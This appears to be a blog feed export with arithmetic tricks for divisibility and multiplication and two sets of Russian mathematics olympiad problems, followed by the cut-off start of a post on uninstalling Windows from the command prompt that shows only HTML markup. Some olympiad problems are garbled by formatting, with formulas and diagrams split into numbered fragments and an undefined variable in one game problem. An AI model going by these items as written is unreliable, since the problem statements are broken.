style="font-weight: bold;">The idea behind this method it that you're either subtracting m×(last digit) and then dividing by 10, or adding m×(last digit) and then dividing by 10. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">Jeremy Lane adds: </span><br /><span style="font-weight: bold;">It may be noted that while applying these rules, it is possible to loop among numbers as results. </span><br /><span style="font-weight: bold;">Example: Is 1313 divisible by 13? </span><br /><span style="font-weight: bold;">Using the procedure given we take 13×3 and obtain 39. This multiple ends in 9 so we add four-fold the last digit. </span><br /><span style="font-weight: bold;">131 + 4×3 = 143 </span><br /><span style="font-weight: bold;">14 + 4×3 = 26 </span><br /><span style="font-weight: bold;">2 + 4×6 = 26 </span><br /><span style="font-weight: bold;">... </span><br /><span style="font-weight: bold;">Example: Is 1326 divisible by 13? </span><br /><span style="font-weight: bold;">Using the procedure given we take 13×7 = 91. This is not the smallest multiple, but it does show looping. The smaller multiple does loop at 39 as well. There are some examples where we would still need to recognize certain multiples. So we subtract nine-fold the last digit. </span><br /><span style="font-weight: bold;">132 - 9×6 = 78 </span><br /><span style="font-weight: bold;">7 - 9×8 = -65 (factor out -1) </span><br /><span style="font-weight: bold;">6 - 9×5 = -39 (again factor out -1) </span><br /><span style="font-weight: bold;">3 - 9×9 = -78 (factor out -1) </span><br /><span style="font-weight: bold;">This only occurs though if the number does happen to be divisible by the prime divisor. Otherwise, eventually you will have a number that is less than the prime divisor. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">And here's a more complex method that can be extended to other formulas: </span><br /><span style="font-weight: bold;">1 = 1 (mod 13)</span><br /><span style="font-weight: bold;">10 = -3 (mod 13) (i.e., 10 - -3 is divisible by 13)</span><br /><span style="font-weight: bold;">100 = -4 (mod 13) (i.e., 100 - -4 is divisible by 13)</span><br /><span style="font-weight: bold;">1000 = -1 (mod 13) (i.e., 1000 - -1 is divisible by 13)</span><br /><span style="font-weight: bold;">10000 = 3 (mod 13)</span><br /><span style="font-weight: bold;">100000 = 4 (mod 13)</span><br /><span style="font-weight: bold;">1000000 = 1 (mod 13)</span><br /><span style="font-weight: bold;">Call the ones digit a, the tens digit b, the hundreds digit c, ..... and you get:</span><br /><span style="font-weight: bold;">a - 3×b - 4×c - d + 3×e + 4×f + g - .....</span><br /><span style="font-weight: bold;">If this number is divisible by 13, then so is the original number.</span><br /><span style="font-weight: bold;">You can keep using this technique to get other formulas for divisibility for prime numbers. For composite numbers just check for divisibility by divisors. </span><br /><span style="font-weight: bold;"> Dividing by 14 </span><br /><span style="font-weight: bold;">Sara Heikali builds on her divisibility test for seven: </span><br /><span style="font-weight: bold;">How can you know if a number with three or more digits </span><br /><span style="font-weight: bold;">is divisible by the number fourteen?</span><br /><br /><span style="font-weight: bold;">Check if the last digit of the original number is odd or </span><br /><span style="font-weight: bold;">even. If the number is odd, then the number is not </span><br /><span style="font-weight: bold;">divisible by fourteen. If the number is even, then apply </span><br /><span style="font-weight: bold;">the divisibility rule for seven. </span><br /><br /><span style="font-weight: bold;">(Keep in mind, the odd and even test is to see if the number </span><br /><span style="font-weight: bold;">is divisible by two.) If the original even number is </span><br /><span style="font-weight: bold;">divisible by seven, then it is also divisible by fourteen. </span><br /><span style="font-weight: bold;">If the original even number is not divisible by seven, it </span><br /><span style="font-weight: bold;">is not divisible by fourteen.</span><br /><br /><br /><br /><br /><br /><span style="font-weight: bold;">Multiplication Tips</span><br /><span style="font-weight: bold;"> Multiplying by five</span><br /><span style="font-weight: bold;">• Jenny Logwood writes: Here is an easy way to find an answer to a 5 times question. </span><br /><span style="font-weight: bold;">If you are multiplying 5 times an even number: halve the number you are multiplying by and place a zero after the number. Example: 5 × 6, half of 6 is 3, add a zero for an answer of 30. Another example: 5 × 8, half of 8 is 4, add a zero for an answer of 40. </span><br /><span style="font-weight: bold;">If you are multiplying 5 times an odd number: subtract one from the number you are multiplying, then halve that number and place a 5 after the resulting number. Example: 5 × 7: -1 from 7 is 6, half of 6 is 3, place a 5 at the end of the resulting number to produce the number 35. Another example: 5 × 3: -1 from 3 is 2, half of 2 is 1, place a 5 at the end of this number to produce 15.</span><br /><span style="font-weight: bold;">• Doug Elliott adds: To square a number that ends in 5, multiply the tens digit by (itself+1), then append 25. For example: to calculate 25 × 25, first do 2 × 3 = 6, then append 25 to this result; the answer is 625. Other examples: 55 x 55; 5 × 6 = 30, answer is 3025. You can also square three digit numbers this way, by starting with the the first two digits: 995 x 995; 99 × 100 = 9900, answer is 990025. </span><br /><span style="font-weight: bold;"> Multiplying by nine</span><br /><span style="font-weight: bold;">• Diana Grinwis says: To multiply by nine on your fingers, hold up ten fingers - if the problem is 9 × 8 you just put down your 8 finger and there's your answer: 72. (If the problem is 9 × 7 just put down your 7 finger: 63.)</span><br /><span style="font-weight: bold;">• Laurie Stryker explains it this way: When you are multiplying by 9, on your fingers (starting with your thumb) count the number you are multiplying by and hold down that finger. The number of fingers before the finger held down is the first digit of the answer and the number of finger after the finger held down is the second digit of the answer.</span><br /><span style="font-weight: bold;">Example: 2 × 9. your index finder is held down, your thumb is before, representing 1, and there are eight fingers after your index finger, representing 18.</span><br /><span style="font-weight: bold;">• Polly Norris suggests: When you multiply a number times 9, count back one from that number to get the beginning of your product. (5 × 9: one less than 5 is 4). </span><br /><span style="font-weight: bold;">To get the rest of your answer, just think of the add fact families for 9:</span><br /><span style="font-weight: bold;"> 1 + 8 = 9 2 + 7 = 9 3 + 6 = 9 4 + 5 = 9</span><br /><span style="font-weight: bold;"> 8 + 1 = 9 7 + 2 = 9 6 + 3 = 9 5 + 4 = 9</span><br /><span style="font-weight: bold;">5 × 9 = 4_. Just think to yourself: 4 + _ = 9 because the digits in your product always add up to 9 when one of the factors is 9. Therefore, 4 + 5 = 9 and your answer is 45! I use this method to teach the "nines" in multiplication to my third graders and they learn them in one lesson!</span><br /><span style="font-weight: bold;">Tamzo explains this a little differently:</span><br /><span style="font-weight: bold;">1. Take the number you are multiplying 9 by and subtract one. That number is the first number in the solution. </span><br /><span style="font-weight: bold;">2. Then subtract that number from nine. That number is the second number of the solution. </span><br /><span style="font-weight: bold;">Examples:</span><br /><span style="font-weight: bold;">4 * 9 = 36 </span><br /><span style="font-weight: bold;">1. 4-1=3 </span><br /><span style="font-weight: bold;">2. 9-3=6 </span><br /><span style="font-weight: bold;">3. solution = 36 </span><br /><span style="font-weight: bold;">8 * 9 = 72 </span><br /><span style="font-weight: bold;">4. 8-1=7 </span><br /><span style="font-weight: bold;">5. 9-7=2 </span><br /><span style="font-weight: bold;">6. solution = 72 </span><br /><span style="font-weight: bold;">5 * 9 = 45 </span><br /><span style="font-weight: bold;">7. 5-1=4 </span><br /><span style="font-weight: bold;">8. 9-4=5 </span><br /><span style="font-weight: bold;">9. solution = 45 </span><br /><span style="font-weight: bold;">• Sergey writes in: Take the one-digit number you are multipling by nine, and insert a zero to its right. Then subtract the original number from it. </span><br /><span style="font-weight: bold;">For example: if the problem is 9 * 6, insert a zero to the right of the six, then subtract six: </span><br /><span style="font-weight: bold;">9 * 6 = 60 - 6 = 54 </span><br /><span style="font-weight: bold;"> Multiplying a 2-digit number by 11</span><br /><span style="font-weight: bold;">• A tip sent in by Bill Eldridge: Simply add the first and second digits and place the result between them. </span><br /><span style="font-weight: bold;">Here's an example using 24 as the 2-digit number to be multiplied by 11: 2 + 4 = 6 so 24 × 11 = 264. </span><br /><span style="font-weight: bold;">This can be done using any 2-digit number. (If the sum is 10 or greater, don't forget to carry the one.) </span><br /><span style="font-weight: bold;"> Multiplying any number by 11</span><br /><span style="font-weight: bold;">• Lonnie Dennis II writes in: </span><br /><span style="font-weight: bold;">Let's say, for example, you wanted to multiply 54321 by 11. First, let's look at the problem the long way... </span><br /><span style="font-weight: bold;">54321 </span><br /><span style="font-weight: bold;">x 11 </span><br /><span style="font-weight: bold;">________________________________________54321 </span><br /><span style="font-weight: bold;">+ 543210 </span><br /><span style="font-weight: bold;">________________________________________= 597531 </span><br /><span style="font-weight: bold;">Now let's look at the easy way... </span><br /><span style="font-weight: bold;">11 × 54321 </span><br /><span style="font-weight: bold;">= 5 4+5 4+3 3+2 2+1 1 </span><br /><span style="font-weight: bold;">= 597531 </span><br /><span style="font-weight: bold;">Do you see the pattern? In a way, you're simply adding the digit to whatever comes before it. </span><br /><span style="font-weight: bold;">But you must work from right to left. The reason I work from right to left is that if the numbers, when added together, sum to more than 9, then you have something to carry over. </span><br /><span style="font-weight: bold;">Let's look at another example... </span><br /><span style="font-weight: bold;">11 × 9527136 </span><br /><span style="font-weight: bold;">Well, we know that 6 will be the last number in the answer. So the answer now is </span><br /><span style="font-weight: bold;">???????6. </span><br /><span style="font-weight: bold;">Calculate the tens place: 6+3=9, so now we know that the product has the form </span><br /><span style="font-weight: bold;">??????96. </span><br /><span style="font-weight: bold;">3+1=4, so now we know that the product has the form </span><br /><span style="font-weight: bold;">?????496. </span><br /><span style="font-weight: bold;">1+7=8, so </span><br /><span style="font-weight: bold;">????8496. </span><br /><span style="font-weight: bold;">7+2=9, so </span><br /><span style="font-weight: bold;">???98496. </span><br /><span style="font-weight: bold;">2+5=7, so </span><br /><span style="font-weight: bold;">??798496. </span><br /><span style="font-weight: bold;">5+9=14. </span><br /><span style="font-weight: bold;">Here's where carrying digits comes in: we fill in the hundred thousands place with the ones digit of the sum 5+9, and our product has the form </span><br /><span style="font-weight: bold;">?4798496. </span><br /><span style="font-weight: bold;">We will carry the extra 10 over to the next (and final) place. </span><br /><span style="font-weight: bold;">9+0=9, but we need to add the one carried from the previous sum: 9+0+1=10. </span><br /><span style="font-weight: bold;">So the product is 104798496. </span><br /><span style="font-weight: bold;"> Multiplying by thirteen</span><br /><span style="font-weight: bold;">• Fourth grader Mariam Labib has a trick for multiplication by 13.</span><br /><span style="font-weight: bold;">Put the tens digit on the left, the unit number on the right, add them up together in the middle. Then add double the number to the previous result.</span><br /><span style="font-weight: bold;">For example: 13 × 22</span><br /><span style="font-weight: bold;">Step 1: (2 × 100) + 2 + [(2 + 2) × 10] = 242.</span><br /><span style="font-weight: bold;">Step 2: 22 × 2 = 44.</span><br /><span style="font-weight: bold;">Answer: 242 + 44 = 286.</span><br /><span style="font-weight: bold;">If the two digits sum to more than ten, then you carry the one to add it to the number on the left and continue. </span><br /><span style="font-weight: bold;">For example: 13 × 65</span><br /><span style="font-weight: bold;">Step 1: (6 × 100) + 5 + [(6 + 5) × 10] = 715.</span><br /><span style="font-weight: bold;">Step 2: 65 × 2 = 130.</span><br /><span style="font-weight: bold;">Answer: 715 + 130 = 845.</span><br /><span style="font-weight: bold;"> Multiplying by sixteen</span><br /><span style="font-weight: bold;">• Ibrahim Labib offers a quick way to find an answer when multiplying by 16.</span><br /><span style="font-weight: bold;">First, multiply the number in question by 10. Then multiply half the number by 10. Then add those two results together with the number itself to get your final answer.</span><br /><span style="font-weight: bold;">For example: 16 × 24</span><br /><span style="font-weight: bold;">Step 1: 24 × 10 = 240</span><br /><span style="font-weight: bold;">Step 2: (24 × 1/2) × 10 = 12 × 10 = 120</span><br /><span style="font-weight: bold;">Step 3: add steps 1 and 2 and the number = 240 + 120 + 24 = 384</span><br /><br /><br /><br /><br /><span style="font-weight: bold;">Multiplication Tips</span><br /><span style="font-weight: bold;"> Multiplying 2-digit numbers (same 1st digit)</span><br /><span style="font-weight: bold;">• Fifth grader Mark Labib writes: My trick is about multiplying any 2 digit number by any other 2 digit number as long as they have the same tens digit. For example, </span><br /><span style="font-weight: bold;">• 23 × 26 OR 42 × 47 OR 51 × 59</span><br /><span style="font-weight: bold;">• As it gets harder with the larger numbers, I will start with multiplying two numbers in the twenties. For example, </span><br /><span style="font-weight: bold;">• 23 × 27</span><br /><span style="font-weight: bold;">Step 1. Add the 3 (from the 23) to the 27: 3 + 27 = 30 </span><br /><span style="font-weight: bold;">Step 2. Multiply the result by 10: 30 × 10 = 300 </span><br /><span style="font-weight: bold;">Step 3. Double that result: 2 × 300 = 600 </span><br /><span style="font-weight: bold;">Step 4. Multiply 3 (from the 23) and 7 (from the 27): 3 × 7 = 21 </span><br /><span style="font-weight: bold;">Step 5. Add these last two products: 600 + 21 = 621 </span><br /><span style="font-weight: bold;">• For two numbers in the thirties, when you come to step 3, triple the result; for the forties, quadruple it (just by doubling the number twice); for the fifties, multiply by 5 (using the tips for multiplication by 5: divide the number by 2 and multiplying it by ten); and so on. </span><br /><br /><br /><br /><br /><span style="font-weight: bold;">Spring Mathematics Olympiad Problems</span><br /><span style="font-weight: bold;">Organized by</span><br /><span style="font-weight: bold;">the Palace of Youth Creativity</span><br /><span style="font-weight: bold;">St. Petersburg, Russia</span><br /> <br /><span style="font-weight: bold;">Back to H.S. Student Center || K-12 Math Problems</span><br /><br /><span style="font-weight: bold;">These problems are intended for students studying upper level secondary mathematics. Nearly all of them are new and original, proposed by Russian teachers especially for the Olympiad. </span><br /><span style="font-weight: bold;">1. One bacterium divides into two new ones. Then every second, one of the bacteria also splits in two, and soon there are 1995 bacteria.</span><br /><span style="font-weight: bold;">Prove that one of them lives for at least 995 seconds without any division. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">2. A sequence of natural numbers (Xn ) is formed in the following way:</span><br /><span style="font-weight: bold;">3. X = 19 X = 95 X = LCM ( X , X ) + X</span><br /><span style="font-weight: bold;">4. 1 2 n+2 n+1 n n</span><br /><span style="font-weight: bold;">5. </span><br /><span style="font-weight: bold;">Find GCD ( X1995 , X1996 ).</span><br /><span style="font-weight: bold;"> [LCM - least common multiple </span><br /><span style="font-weight: bold;"> GCD - greatest common divisor] </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">6. In a country there live 'knights' and 'knaves.' The 'knaves' always lie and the 'knights' always tell the truth - unless they make a mistake.</span><br /><span style="font-weight: bold;">1995 knights and knaves are sitting around a table. Each says that he is sitting between a knight and a knave, but two knights are mistaken. How many knaves are seated at the table? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">7. Divide a square into 7 polygons such that any two like polygons will have no common edge, and any two that are not the same shape will have a common edge. (For any polygon there must exist another with the same shape.) </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">8. The Mad Tea-Party: </span><br /><span style="font-weight: bold;">The Hatter, the March Hare, and the Dormouse sit at a round table. On the table are 12 cups full of tea. </span><br /><span style="font-weight: bold;">Every day at six o'clock, each of the table-companions moves two places to his right or left (if the place is free) and drinks all the tea at that place if there is any in his cup. After the place-changing, Alice fills one of the cups. Prove that Alice can keep at least 6 cups full. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">9. Prove that there are infinitely many integers that are not equal to the sum of two squares of integers, but that are equal to the sum of three cubes of integers. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">10. Dazzy fishes for more than a week. He experiences three different levels of success. On a good day he catches 9 fish. On a bad day he catches only 5 fish. On other days he catches 7 fish. </span><br /><span style="font-weight: bold;">In all, Dazzy catches 53 fish. How many bad days does he have?</span><br /><span style="font-weight: bold;">11. Is it possible to put the numbers from 1 to 64 in the squares of a chess board in such a way that the sum of the numbers in any three squares arranged in the following pattern will be odd? </span><br /><span style="font-weight: bold;">12. ---</span><br /><span style="font-weight: bold;">13. | |</span><br /><span style="font-weight: bold;">14. -------</span><br /><span style="font-weight: bold;">15. | | |</span><br /><span style="font-weight: bold;"> ------- </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">16. Tyrannosaurus Rex and Tyrannosaurus Glipp are playing a game. Each player in turn puts an X or an O in any free square of an 11x11 checkerboard. </span><br /><span style="font-weight: bold;">The winner of the game is the player who first puts three equal marks in a line, horizontally, vertically, or diagonally: </span><br /><span style="font-weight: bold;"> XXX or O X</span><br /><span style="font-weight: bold;"> O or X</span><br /><span style="font-weight: bold;"> O X</span><br /><span style="font-weight: bold;">Tyrannosaurus Rex starts. In an errorless game, who wins? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">17. Ann, Ben, Can, and Den think of one natural number.</span><br /><span style="font-weight: bold;">Ann says it consists of two digits.</span><br /><span style="font-weight: bold;">Ben says it is a divisor of 150.</span><br /><span style="font-weight: bold;">Can says it is not 150.</span><br /><span style="font-weight: bold;">Den says it is divisible by 25. </span><br /><span style="font-weight: bold;">Which one of them is not telling the truth? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">18. All the digits from 1 to 9 are written on a blackboard. Pete erases some of the digits and writes the product of the numbers he has erased. In addition, he can write new digits. After some of these operations only one digit remains on the blackboard.</span><br /><span style="font-weight: bold;">Prove that the remaining digit is 0. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">19. Winnie-the-Pooh and Piglet are celebrating their common birthday. Every guest gives them a can of honey and a can of condensed milk. Pooh leaves some of the cans for Piglet, and others he keeps for himself. </span><br /><span style="font-weight: bold;">When Pooh has eaten all of his honey, the number of full cans he has left is equal to the total number of Piglet's cans. Piglet has 10 cans of milk. How many cans of honey did Pooh eat? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">20. In this game, there are 100 coins on one scale, and 200 coins on another scale. Each of two players in turn takes one or more of the coins from one of the scales. The player who makes the number of coins on the two scales equal loses. </span><br /><span style="font-weight: bold;">Scrooge and Glomgold play a game. Scrooge makes the first move. In an errorless game, who wins? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">21. The calculator 'ComeOn-96' has the buttons '+1', '-1', '+4', and '-4'. Whenever the result of an operation is divisable by 4, the calculator explodes! ;-)</span><br /><span style="font-weight: bold;">Begin with 1 on the calculator, and prove that it is impossible to arrive at an answer of 2 when using exactly 1996 operations. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">22. In a tribe of cannibals there are 20 persons. Each person likes some of his or her fellow-tribesmen and does not like others. Each day all of the people who are liked by more than half the tribe become dinner.</span><br /><span style="font-weight: bold;">Prove that on the 10th day after the first cannibal has been eaten, because no person is liked by more than half of the other cannibals there is no dinner. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">23. Prove that it is possible to write all 10-digit numbers that consist of only ones and twos in a circle in such a way that every two neighbouring numbers will differ by only one digit (e.g. 22211 and 22111, or 12121 and 12221). </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">24. Let S be a square, Q be the perimeter of the square, and P be the perimeter of a quadrilateral T inscribed within S such that each of its vertices lies on a different edge of S.</span><br /><span style="font-weight: bold;">What is the smallest possible ratio of P to Q? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">25. What is the greatest number of kings that can be placed on a chess board such that every king will win only one square or no square? (A king wins all eight neighbouring squares, as shown below.) </span><br /><span style="font-weight: bold;">26. - - -</span><br /><span style="font-weight: bold;">27. |*|*|*|</span><br /><span style="font-weight: bold;">28. - - -</span><br /><span style="font-weight: bold;">29. |*|K|*|</span><br /><span style="font-weight: bold;">30. - - -</span><br /><span style="font-weight: bold;">31. |*|*|*|</span><br /><span style="font-weight: bold;">32. - - -</span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">33. All the natural numbers from 2 to 3500 are written on the blackboard. Players in turn can erase both any non-prime number and all the numbers that are not co-prime to it. A player wins if, after his turn, only prime numbers remain on the board, so that another player cannot take a turn. </span><br /><span style="font-weight: bold;">T-Rex and T-Glipp play a game. Who will win if T-Rex begins and neither makes a mistake? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">34. In the country of OneWay, some cities are connected by roads. Cars may drive in only one direction on roads, but pedestrians can go in both directions. </span><br /><span style="font-weight: bold;">From Return-City one can go to any other city by car, but in only one direction. If it is possible to leave a city and return to the same city by car, the car will go through Return-City.</span><br /><span style="font-weight: bold;">Two strangers leave GetOff-City from different sides. They are both pedestrians and neither can visit any city more than once. Some time later, they meet again. Prove that one of them must have visited Return-City.</span><br /><br /><br /><span style="font-weight: bold;">Mathematics Olympiad Problems, 1996</span><br /><span style="font-weight: bold;">Vologda, Russia - for Grades 5-11</span><br /><span style="font-weight: bold;">by Victor Guba</span><br /> <br /><span style="font-weight: bold;">Back to H.S. Student Center || K-12 Math Problems</span><br /><span style="font-weight: bold;">These problems come from Professor Victor Guba, formerly of the Vologda Pedagogical University (Russia), and currently of Vanderbilt University. To request solutions or other information about the olympiad, please visit his web site </span><br /><span style="font-weight: bold;">http://www.math.vanderbilt.edu/~msapir/</span><br /><span style="font-weight: bold;">1. A zoo has several ostriches and several giraffes. They have 30 eyes and 44 legs. How many ostriches and how many giraffes are in the zoo? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">2. Is there a configuration of 6 points and several closed intervals in the plane such that any point is joined exactly with a) 3 of the points, 4 of the points? (The intervals do not have inner intersections.) </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">3. Is it true that n^3+5n-1 is prime for any natural n? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">4. A string of 1996 digits begins with the number 6. Any number formed by two consecutive digits is divisible by 17 or 23. What is the last digit? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">5. There are 3 boxes with balls inside them. They are labeled 'two whites', "two blacks', and 'black & white' to show the contents of the boxes. Someone changes the labels to make them all false. Find the contents of each box by removing only one of the balls. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">6. Divide a cube into 8 equal parts using a) four, b) three planar cuts. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">7. Is it true that </span><br /><span style="font-weight: bold;">a. for any sequence of 5 different numbers, one may choose an increasing or decreasing subsequence of three numbers? </span><br /><span style="font-weight: bold;">b. for any sequence of 9 different numbers one may choose an increasing or decreasing subsequence of four numbers? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">8. Is it possible to fill in a 5x5 table using numbers such that the sum of all them is positive, but the sum of any 4 numbers forming a 2x2 sub-table is negative? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">9. Solve the following multiplication example </span><br /><span style="font-weight: bold;">10. ***</span><br /><span style="font-weight: bold;">11. **</span><br /><span style="font-weight: bold;">12. -----</span><br /><span style="font-weight: bold;">13. ****</span><br /><span style="font-weight: bold;">14. ****</span><br /><span style="font-weight: bold;">15. -----</span><br /><span style="font-weight: bold;">16. *****</span><br /><span style="font-weight: bold;">where all the asterisks are prime digits (2,3,5,7). </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">17. Is there a closed polygonal line that intersects any of its edges exactly once and consists of a) six, b) seven edges? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">18. Is it true that for any of 100 integer numbers, there may be chosen a) 15, b) 16 of them such that the difference between any two of them is divisible by 7? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">19. There is a straight-line scratch on a chess board. What is the greatest possible number of scratched squares? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">20. Is it possible to fill 25 squares of squared paper such that each of the filled squares has a) an even and nonzero, b) an odd number of filled neighbors? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">21. Find 3 numbers such that each of them is a square of the difference of the two others. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">22. Two players compose a 2000-digit number by taking turns at writing a digit from 1 to 5. To win the game, Player 2 must cause the result to be divisible by 9, so Player 1 attempts to prevent this from occurring. If a) k = 10, b) k = 15, who will win? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">23. A convex quadrilateral is divided diagonally into 4 triangles. The areas of three of these triangles, proceeding clockwise, are 1, 2, and 3. What is the area of the fourth triangle? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">24. The game 'Sea Battle' takes place on an 8x8 board. What is the least number of shots needed to hit a ship 4x1 squares in size? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">25. Is there an infinite increasing geometric progression such that the first 100 elements of the sequence but none of the rest of the elements are integers? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">26. Is it possible to find a rectangle ABCD and a point M on a plane such that the distances from M to A,B,C,D respectively are</span><br /><span style="font-weight: bold;">a. 1,4,8,7 </span><br /><span style="font-weight: bold;">b. 1,2,3,4 </span><br /><span style="font-weight: bold;">c. 1,2,4,3 ? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">27. Present 100 as a sum of positive integers such that their product is maximal. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">28. Find the largest possible number n within which, for any permutation of the numbers 1,2,...,100, there are 10 consecutive numbers (with respect to a permutation) such that their sum is greater than or equal to n. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">29. A chess tournament involves only experts and grand masters. The number of experts is three times the number of grand masters. Only one game is played between each pair of players, with 1 point being awarded for a win, 0 points for a loss, and 1/2 point for a draw. The sum of the points of all the experts is 1.2 times greater than the sum of points of all the grand masters. How many participants does the tournament have? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">30. How many solutions does the equation sin x = x/9 have? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">31. Find the number of 10-digit numbers that involve only the numbers 2 and 3 but do not have two 3's next to each other. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">32. Is the number [(44+\sqrt{1996})^{100}] odd or even? </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">33. Quadrilateral ABCD is inscribed in a circle. Let Hi (i=1,2,3,4) be the point of intersection of the three altitudes of triangles BCD, ACD, ABD, and ABC, respectively. Prove that quadrilateral H1H2H3H4 is equal to quadrilateral ABCD. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">34. A circle is inscribed in a triangle ABC. The circle touches AB and BC at points E and F, respectively. Angle bisector A intersects line EF at point K. Show that angle CKA is a right angle. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">The sum of the lengths of a system of intervals of a line is less than 1. Given a set of 100 points on the line, show that they can be shifted by a distance less than 50 such that no images of these points under the shift belong to the system of intervals.</span>Santosh kanekarhttp://www.blogger.com/profile/12860284456232375895noreply@blogger.com0tag:blogger.com,1999:blog-4398909482228628394.post-32960283030737215162009-09-03T09:23:00.002-07:002009-09-03T09:24:14.010-07:00Uninstalling Windows from Command Prompt<meta equiv="Content-Type" content="text/html; charset=utf-8"><meta name="ProgId" content="Word.Document"><meta name="Generator" content="Microsoft Word 11"><meta name="Originator" content="Microsoft Word 11"><link rel="File-List" href="file:///C:%5CDOCUME%7E1%5Csantosh%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"><link rel="Edit-Time-Data" href="file:///C:%5CDOCUME%7E1%5Csantosh%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_editdata.mso"><!--[if !mso]> <style> v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} </style> <![endif]--><!--[if gte mso 9]><xml> <w:worddocument> <w:view>Normal</w:View> <w:zoom>0</w:Zoom> <w:punctuationkerning/> <w:validateagainstschemas/> <w:saveifxmlinvalid>false</w:SaveIfXMLInvalid> <w:ignoremixedcontent>false</w:IgnoreMixedContent> <w:alwaysshowplaceholdertext>false</w:AlwaysShowPlaceholderText> <w:compatibility> <w:breakwrappedtables/> <w:snaptogridincell/> <w:wraptextwithpunct/> <w:useasianbreakrules/> <w:dontgrowautofit/> </w:Compatibility> <w:browserlevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:latentstyles deflockedstate="false" latentstylecount="156"> </w:LatentStyles> </xml><![endif]--><style> <!-- /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} h1 {mso-margin-top-alt:auto; margin-right:0in; mso-margin-bottom-alt:auto; margin-left:0in; mso-pagination:widow-orphan; mso-outline-level:1; font-size:24.0pt; font-family:"Times New Roman";} @page Section1 {size:8.5in 11.0in; margin:1.0in 1.25in 1.0in 1.25in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.Section1 {page:Section1;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} </style> <![endif]--> <p class="MsoNormal"><a href="http://rahulhackingarticles.wetpaint.com/page/Uninstalling+Windows+from+Command+Prompt#close#close"><span style="text-decoration: none;"><!--[if gte vml 1]><v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"> <v:stroke joinstyle="miter"> <v:formulas> <v:f eqn="if lineDrawn pixelLineWidth 0"> <v:f 